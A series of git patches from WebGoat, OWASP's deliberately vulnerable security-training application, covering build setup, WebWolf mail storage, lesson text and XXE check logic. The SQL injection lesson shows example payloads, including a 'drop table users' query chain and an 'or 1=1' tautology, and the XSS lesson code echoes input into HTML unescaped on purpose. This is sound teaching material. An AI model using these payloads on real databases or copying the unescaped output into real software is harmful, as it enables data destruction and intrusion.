s.path = '../vagrant_provision.sh' - s.privileged = true - end - - config.vm.provision :shell, inline: <<-SHELL - echo -e "Cloning the WebGoat container repository" - git clone -b master https://github.com/WebGoat/WebGoat.git - echo -e "Cloning the WebGoat Lessons repository" - git clone -b master https://github.com/WebGoat/WebGoat-Lessons.git - echo -e "Compiling and installing the WebGoat Container lesson server....." - mvn -q -DskipTests -file WebGoat/pom.xml clean compile install - echo -e "Compiling and installing the WebGoat Lessons $COL_RESET" - mvn -q -DskipTests -file WebGoat-Lessons/pom.xml package - echo -e "Copying the compiled lessons jars into the container so we can start the lesson server with some base lessons" - cp -fa ./WebGoat-Lessons/target/plugins/*.jar ./WebGoat/webgoat-container/src/main/webapp/plugin_lessons/ - nohup mvn -q -DskipTests -file WebGoat/pom.xml -pl webgoat-container tomcat7:run-war 0<&- &>/dev/null & - SHELL - - config.vm.provision 'shell' do |s| - s.inline = "echo Finished provisioning, open a browser and browse to http://localhost:9999/WebGoat/" - end - -end - diff --git a/webgoat-images/vagrant_provision.sh b/webgoat-images/vagrant_provision.sh deleted file mode 100644 index da88799e3b..0000000000 --- a/webgoat-images/vagrant_provision.sh +++ /dev/null @@ -1,62 +0,0 @@ -#!/usr/bin/env bash -set -e - -echo "Setting locale..." -sudo update-locale LC_ALL=en_US.UTF-8 LANG=en_US.UTF-8 - -sudo kill -9 $(lsof -t /var/lib/dpkg/lock) || true -sudo apt-get update -sudo apt-get install -y git - -echo "Installing required packages..." -sudo apt-get install -y -q build-essential autotools-dev automake pkg-config expect - - -## Chrome -wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - -sudo sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' -sudo apt-get update -sudo apt-get install -y google-chrome-stable - -## Java 8 -echo "Provisioning Java 8..." -mkdir -p /home/vagrant/java -cd /home/vagrant/java -test -f /tmp/jdk-8-linux-x64.tar.gz || curl -q -L --cookie "oraclelicense=accept-securebackup-cookie" http://download.oracle.com/otn-pub/java/jdk/8u144-b01/090f390dda5b47b9b721c7dfaa008135/jdk-8u144-linux-x64.tar.gz -o /tmp/jdk-8-linux-x64.tar.gz - -sudo mkdir -p /usr/lib/jvm -sudo tar zxf /tmp/jdk-8-linux-x64.tar.gz -C /usr/lib/jvm - -sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_144/bin/java" 1 -sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_144/bin/javac" 1 -sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_144/bin/javaws" 1 - -sudo chmod a+x /usr/bin/java -sudo chmod a+x /usr/bin/javac -sudo chmod a+x /usr/bin/javaws -sudo chown -R root:root /usr/lib/jvm/jdk1.8.0_144 - -echo "export JAVA_HOME=/usr/lib/jvm/jdk1.8.0_144" >> /home/vagrant/.bashrc - -## Maven -echo "Installing Maven.." -sudo apt-get install -y maven - -## ZAP -echo "Provisioning ZAP..." -cd /home/vagrant -mkdir tools -cd tools -wget https://github.com/zaproxy/zaproxy/releases/download/2.5.0/ZAP_2.5.0_Linux.tar.gz -tar xvfx ZAP_2.5.0_Linux.tar.gz -rm -rf ZAP_2.5.0_Linux.tar.gz - -## IntelliJ -cd /home/vagrant/tools -wget https://download.jetbrains.com/idea/ideaIC-2016.1.4.tar.gz -tar xvfz ideaIC-2016.1.4.tar.gz -rm -rf ideaIC-2016.1.4.tar.gz - -## Eclipse -sudo apt-get -y install eclipse - From e801b0917d1eeba29acca80f326eee1ab56080bd Mon Sep 17 00:00:00 2001 From: nbaars Date: Wed, 10 Jan 2018 09:19:20 +0100 Subject: [PATCH 05/76] Unable to save email send to WebWolf #419 --- webwolf/pom.xml | 7 +++ .../java/org/owasp/webwolf/mailbox/Email.java | 5 +- .../mailbox/MailboxRepositoryTest.java | 49 +++++++++++++++++++ 3 files changed, 60 insertions(+), 1 deletion(-) create mode 100644 webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxRepositoryTest.java diff --git a/webwolf/pom.xml b/webwolf/pom.xml index cc1cd5fa20..6e2ade92b9 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -78,6 +78,13 @@ hsqldb ${hsqldb.version} + + + + org.springframework.boot + spring-boot-starter-test + test + diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java index cd6b9f1b40..3c39675cd4 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java @@ -6,6 +6,8 @@ import lombok.NoArgsConstructor; import javax.persistence.Entity; +import javax.persistence.GeneratedValue; +import javax.persistence.GenerationType; import javax.persistence.Id; import java.io.Serializable; import java.time.LocalDateTime; @@ -23,7 +25,8 @@ public class Email implements Serializable { @Id - private String id; + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; private LocalDateTime time; private String contents; private String sender; diff --git a/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxRepositoryTest.java b/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxRepositoryTest.java new file mode 100644 index 0000000000..1c9908a7d0 --- /dev/null +++ b/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxRepositoryTest.java @@ -0,0 +1,49 @@ +package org.owasp.webwolf.mailbox; + +import org.hamcrest.CoreMatchers; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest; +import org.springframework.test.context.junit4.SpringRunner; + +import java.time.LocalDateTime; +import java.util.List; + +import static org.junit.Assert.*; + +@DataJpaTest +@RunWith(SpringRunner.class) +public class MailboxRepositoryTest { + + + @Autowired + private MailboxRepository mailboxRepository; + + @Test + public void emailShouldBeSaved() { + Email email = new Email(); + email.setTime(LocalDateTime.now()); + email.setTitle("test"); + email.setSender("test@test.com"); + email.setContents("test"); + email.setRecipient("someone@webwolf.org"); + mailboxRepository.save(email); + } + + @Test + public void savedEmailShouldBeFoundByReceipient() { + Email email = new Email(); + email.setTime(LocalDateTime.now()); + email.setTitle("test"); + email.setSender("test@test.com"); + email.setContents("test"); + email.setRecipient("someone@webwolf.org"); + mailboxRepository.saveAndFlush(email); + + List emails = mailboxRepository.findByRecipientOrderByTimeDesc("someone@webwolf.org"); + + assertThat(emails.size(), CoreMatchers.is(1)); + } + +} From 253a2f16ed76cab2b807f1b5175dbb322b804f25 Mon Sep 17 00:00:00 2001 From: nbaars Date: Wed, 10 Jan 2018 12:04:28 +0100 Subject: [PATCH 06/76] Unable to see buttons like HTTP request parameters, the HTTP request cookies, and the Java source code #417 --- .../resources/lessonPlans/en/HttpBasics_content1.adoc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc b/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc index 2a86d7af8a..38ca4125e3 100644 --- a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc +++ b/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc @@ -1,8 +1,8 @@ -Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request. - -The user should become familiar with the features of WebGoat by manipulating the above buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. You may also try using OWASP ZAP Attack Proxy to see the HTTP data. +Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the +input and display it back to the user, illustrating the basics of handling an HTTP request. == Try It! -Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request. \ No newline at end of file +Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input +and display it back to the user, illustrating the basics of handling an HTTP request. \ No newline at end of file From a6b923571162a00cd487e669eeb46dfee0d70226 Mon Sep 17 00:00:00 2001 From: nbaars Date: Wed, 10 Jan 2018 12:48:45 +0100 Subject: [PATCH 07/76] SQL Error '-104' in XSS Lesson Page 7 #416 --- .../src/main/java/org/owasp/webgoat/users/UserTracker.java | 4 +++- .../org/owasp/webgoat/plugin/CrossSiteScriptingLesson5a.java | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java index 645b46258c..64ca5fb9a0 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java @@ -2,6 +2,7 @@ package org.owasp.webgoat.users; import com.google.common.collect.Lists; +import com.google.common.collect.Sets; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.Assignment; @@ -10,6 +11,7 @@ import java.util.List; import java.util.Map; import java.util.Optional; +import java.util.Set; import java.util.stream.Collectors; @@ -50,7 +52,7 @@ public class UserTracker { @Id private String user; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) - private List lessonTrackers = Lists.newArrayList(); + private Set lessonTrackers = Sets.newHashSet(); private UserTracker() {} diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScriptingLesson5a.java b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScriptingLesson5a.java index 27bc2b4d50..7f6683f66e 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScriptingLesson5a.java +++ b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScriptingLesson5a.java @@ -64,7 +64,7 @@ public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { userSessionData.setValue("xss-reflected1-complete",(Object)"false"); StringBuffer cart = new StringBuffer(); cart.append("Thank you for shopping at WebGoat.
You're support is appreciated
"); - cart.append("

We have chaged credit card:" + field1 + "
"); + cart.append("

We have charged credit card:" + field1 + "
"); cart.append( " -------------------
"); cart.append( " $" + totalSale); From bad60c43c0f3fb72523f38d6a5de614dab8dcf52 Mon Sep 17 00:00:00 2001 From: Jason Hilton Date: Fri, 12 Jan 2018 06:25:22 +0000 Subject: [PATCH 08/76] vagrant-training is where the vagrant file is --- README.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.MD b/README.MD index 37b6672a41..32bd67755b 100644 --- a/README.MD +++ b/README.MD @@ -121,7 +121,7 @@ server.address=x.x.x.x We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed. ```shell - $ cd WebGoat/webgoat-images/vagrant-users + $ cd WebGoat/webgoat-images/vagrant-training $ vagrant up ``` From 568fa82270d45f713e68dbc4874070f2784ce189 Mon Sep 17 00:00:00 2001 From: Noah Hansen Date: Fri, 12 Jan 2018 12:02:39 -0500 Subject: [PATCH 09/76] fixed ContentTypeAssignment and SimpleXXE to work with MacOSX --- .../webgoat/plugin/ContentTypeAssignment.java | 18 +++++++++--------- .../org/owasp/webgoat/plugin/SimpleXXE.java | 17 ++++++++--------- 2 files changed, 17 insertions(+), 18 deletions(-) diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java index 6f45e8bf8a..4cda99dd39 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java @@ -46,7 +46,7 @@ @AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"}) public class ContentTypeAssignment extends AssignmentEndpoint { - private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"}; + private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"}; @@ -84,13 +84,13 @@ public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader return trackProgress(attackResult); } - private boolean checkSolution(Comment comment) { - String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; - boolean success = true; - for (String directory : directoriesToCheck) { - success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); - } - return success; - } + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = true; + for (String directory : directoriesToCheck) { + success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } } diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java index 4a3de9d8f7..0cc4f0069c 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java @@ -54,7 +54,7 @@ @AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"}) public class SimpleXXE extends AssignmentEndpoint { - private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"}; + private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"}; @Value("${webgoat.server.directory}") @@ -77,13 +77,12 @@ public AttackResult createNewComment(@RequestBody String commentStr) throws Exce } return trackProgress(failed().output(error).build()); } - private boolean checkSolution(Comment comment) { - String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; - boolean success = true; - for (String directory : directoriesToCheck) { - success &= comment.getText().contains(directory); - } - return success; - } + String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = true; + for (String directory : directoriesToCheck) { + success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } } From dec55d52cabac80b25f99e35758b88ff4414e7ba Mon Sep 17 00:00:00 2001 From: nbaars Date: Sun, 14 Jan 2018 13:22:28 +0100 Subject: [PATCH 10/76] Replaced quotes with normal character (Version: 8.0.0.M5 Character Encoding Issues #411) --- .../lessonPlans/en/SqlInjection_content6.adoc | 30 ++++++++++++++----- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6.adoc index f6ac31efe7..0ff4ece169 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6.adoc @@ -1,15 +1,29 @@ == Special Characters -/* */ are inline comments --- , # are line comments -'Select * from users where name = ‘admin’--and pass = ‘pass’' +[source] +---- +/* */ are inline comments +-- , # are line comments -; allows query chaining -'Select * from users; drop table users;' +Example: Select * from users where name = 'admin' --and pass = 'pass' +---- + + +[source] +---- +; allows query chaining + +Example: Select * from users; drop table users; +---- + +[source] +---- +',+,|| allows string concatenation +Char() strings without quotes + +Example: Select * from users where name = '+char(27) or 1=1 +---- -’,+,|| allows string concatenation -Char() strings without quotes -'Select * from users where name = ‘+char(27) or 1=1' == Special Statements From 2cc6c232e2a3bad0410d64d42a6652860ded71a6 Mon Sep 17 00:00:00 2001 From: nbaars Date: Mon, 15 Jan 2018 20:56:59 +0100 Subject: [PATCH 11/76] Added macro for asciidoc to produce the WebWolf link dynamically depending on configuration --- .../webgoat/AsciiDoctorTemplateResolver.java | 5 +++ .../webgoat/asciidoc/EnvironmentExposure.java | 25 +++++++++++++ .../owasp/webgoat/asciidoc/WebWolfMacro.java | 36 +++++++++++++++++++ .../lessonPlans/en/IntroductionWebWolf.adoc | 4 +-- 4 files changed, 68 insertions(+), 2 deletions(-) create mode 100644 webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java create mode 100644 webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java b/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java index 8510906f5c..7bb02b98dd 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java @@ -34,6 +34,8 @@ import com.google.common.collect.Sets; import lombok.extern.slf4j.Slf4j; import org.asciidoctor.Asciidoctor; +import org.asciidoctor.extension.JavaExtensionRegistry; +import org.owasp.webgoat.asciidoc.WebWolfMacro; import org.owasp.webgoat.i18n.Language; import org.thymeleaf.TemplateProcessingParameters; import org.thymeleaf.resourceresolver.IResourceResolver; @@ -82,6 +84,9 @@ public InputStream getResourceAsStream(TemplateProcessingParameters params, Stri return new ByteArrayInputStream(new byte[0]); } else { StringWriter writer = new StringWriter(); + JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); + extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); + asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8)); } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java new file mode 100644 index 0000000000..1417405232 --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.asciidoc; + +import org.springframework.beans.BeansException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +/** + * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework) + */ +@Component +public class EnvironmentExposure implements ApplicationContextAware { + + private static ApplicationContext context; + + public static Environment getEnv() { + return context.getEnvironment(); + } + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + context = applicationContext; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java new file mode 100644 index 0000000000..88b2ab5fbb --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java @@ -0,0 +1,36 @@ +package org.owasp.webgoat.asciidoc; + +import org.asciidoctor.ast.AbstractBlock; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.springframework.core.env.Environment; +import org.springframework.util.StringUtils; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.util.Map; + +public class WebWolfMacro extends InlineMacroProcessor { + + public WebWolfMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + protected String process(AbstractBlock parent, String target, Map attributes) { + Environment env = EnvironmentExposure.getEnv(); + String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port")); + return "" + target + ""; + } + + /** + * Look at the remote address from received from the browser first. This way it will also work if you run + * the browser in a Docker container and WebGoat on your local machine. + */ + private String determineHost(String host, String port) { + HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + String ip = request.getRemoteAddr(); + String hostname = StringUtils.hasText(ip) ? ip : host; + return "http://" + hostname + ":" + port + "/WebWolf"; + } +} diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index 16f5bafc2c..37ee96c81d 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -27,5 +27,5 @@ docker pull webwolf/webwolf-8.0 docker run -it 8081:8081 /home/webwolf/run.sh ``` -This will start the application on port 8081, in your browser type: `http://localhost:8081/WebWolf` -You will be redirected to the login page where you need to login with your WebGoat username and password \ No newline at end of file +This will start the application on port 8081, click webWolfLink:here[] to open WebWolf. +First thing you need to do is register a new user within WebWolf. \ No newline at end of file From ee11381a63a428b6777a85f203a52344d80c8b54 Mon Sep 17 00:00:00 2001 From: nbaars Date: Sun, 21 Jan 2018 17:13:28 +0100 Subject: [PATCH 12/76] Fixed database issue mappings --- .../java/org/owasp/webgoat/users/LessonTracker.java | 2 +- .../main/java/org/owasp/webwolf/mailbox/Email.java | 13 ++++--------- 2 files changed, 5 insertions(+), 10 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java index d8a7d4a754..81d5d3b230 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java @@ -53,7 +53,7 @@ public class LessonTracker { @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private final Set solvedAssignments = Sets.newHashSet(); @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) - private final List allAssignments = Lists.newArrayList(); + private final Set allAssignments = Sets.newHashSet(); @Getter private int numberOfAttempts = 0; diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java index 3c39675cd4..d721bc5d54 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java @@ -1,14 +1,9 @@ package org.owasp.webwolf.mailbox; -import lombok.AllArgsConstructor; -import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; -import javax.persistence.Entity; -import javax.persistence.GeneratedValue; -import javax.persistence.GenerationType; -import javax.persistence.Id; +import javax.persistence.*; import java.io.Serializable; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; @@ -17,17 +12,16 @@ * @author nbaars * @since 8/20/17. */ -@Builder @Data @Entity @NoArgsConstructor -@AllArgsConstructor public class Email implements Serializable { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; private LocalDateTime time; + @Column(length = 1024) private String contents; private String sender; private String title; @@ -48,4 +42,5 @@ public String getTime() { public String getShortSender() { return sender.substring(0, sender.indexOf("@")); } -} \ No newline at end of file + +} From 04ccf9a422eb59a4ad175427d872e4df975b4042 Mon Sep 17 00:00:00 2001 From: nbaars Date: Sun, 21 Jan 2018 17:46:43 +0100 Subject: [PATCH 13/76] New release should create a new webgoat directory with version tag inside #423 --- webgoat-container/src/main/resources/application.properties | 4 ++-- webwolf/src/main/resources/application.properties | 3 ++- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 83de9b5d74..3e13890510 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -20,8 +20,8 @@ spring.resources.cache-period=0 spring.thymeleaf.cache=false webgoat.clean=false -webgoat.server.directory=${user.home}/.webgoat/ -webgoat.user.directory=${user.home}/.webgoat/ +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/ webgoat.build.version=@project.version@ webgoat.build.number=@build.number@ webgoat.email=webgoat@owasp.org diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties index b169284c8f..0642853945 100644 --- a/webwolf/src/main/resources/application.properties +++ b/webwolf/src/main/resources/application.properties @@ -29,7 +29,8 @@ multipart.location=${java.io.tmpdir} multipart.max-file-size=1Mb multipart.max-request-size=1Mb -webgoat.server.directory=${user.home}/.webgoat/ +webgoat.build.version=@project.version@ +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver spring.jackson.serialization.indent_output=true From b99b554522dcf39602340fc5c7e216afbe0d5d38 Mon Sep 17 00:00:00 2001 From: nbaars Date: Mon, 29 Jan 2018 15:29:48 +0100 Subject: [PATCH 14/76] Version: docker 8.0.0.M9 Multiple users can't finalize the same lesson #432 --- .../assignments/AssignmentEndpoint.java | 2 +- .../org/owasp/webgoat/lessons/Assignment.java | 27 ++++++++++++------- .../webgoat/service/LessonMenuService.java | 2 +- .../service/LessonProgressService.java | 4 +-- .../webgoat/service/ReportCardService.java | 2 +- .../webgoat/service/RestartLessonService.java | 2 +- .../owasp/webgoat/users/LessonTracker.java | 5 +++- .../org/owasp/webgoat/users/Scoreboard.java | 2 +- .../org/owasp/webgoat/users/UserTracker.java | 2 ++ .../webgoat/users/UserTrackerRepository.java | 1 + .../assignments/AssignmentEndpointTest.java | 2 +- .../service/LessonMenuServiceTest.java | 4 +-- .../service/LessonProgressServiceTest.java | 2 +- .../service/ReportCardServiceTest.java | 2 +- .../users/UserTrackerRepositoryTest.java | 6 ++--- .../org/owasp/webgoat/plugin/CSRFLogin.java | 2 +- 16 files changed, 41 insertions(+), 26 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java b/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java index c4713a054b..3b02b61293 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java @@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint { //// TODO: 11/13/2016 events better fit? protected AttackResult trackProgress(AttackResult attackResult) { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); if (userTracker == null) { userTracker = new UserTracker(webSession.getUserName()); } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java index 41758c7426..d9b1f34703 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java @@ -1,11 +1,9 @@ package org.owasp.webgoat.lessons; +import com.google.common.collect.Lists; import lombok.*; -import javax.persistence.Entity; -import javax.persistence.Id; -import javax.persistence.OneToMany; -import javax.persistence.Transient; +import javax.persistence.*; import java.util.List; /** @@ -37,19 +35,30 @@ * @version $Id: $Id * @since November 25, 2016 */ -@AllArgsConstructor -@RequiredArgsConstructor -@NoArgsConstructor @Getter @EqualsAndHashCode @Entity public class Assignment { - @NonNull + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; private String name; - @NonNull private String path; @Transient private List hints; + private Assignment() { + //Hibernate + } + + public Assignment(String name, String path) { + this(name, path, Lists.newArrayList()); + } + + public Assignment(String name, String path, List hints) { + this.name = name; + this.path = path; + this.hints = hints; + } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java index 097085c48c..c0cfdc107a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java @@ -73,7 +73,7 @@ public class LessonMenuService { List showLeftNav() { List menu = new ArrayList<>(); List categories = course.getCategories(); - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); for (Category category : categories) { LessonMenuItem categoryItem = new LessonMenuItem(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java index fb4fe00717..c9fbf8820c 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java @@ -40,7 +40,7 @@ public class LessonProgressService { @RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json") @ResponseBody public Map getLessonInfo() { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson()); Map json = Maps.newHashMap(); String successMessage = ""; @@ -63,7 +63,7 @@ public Map getLessonInfo() { @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") 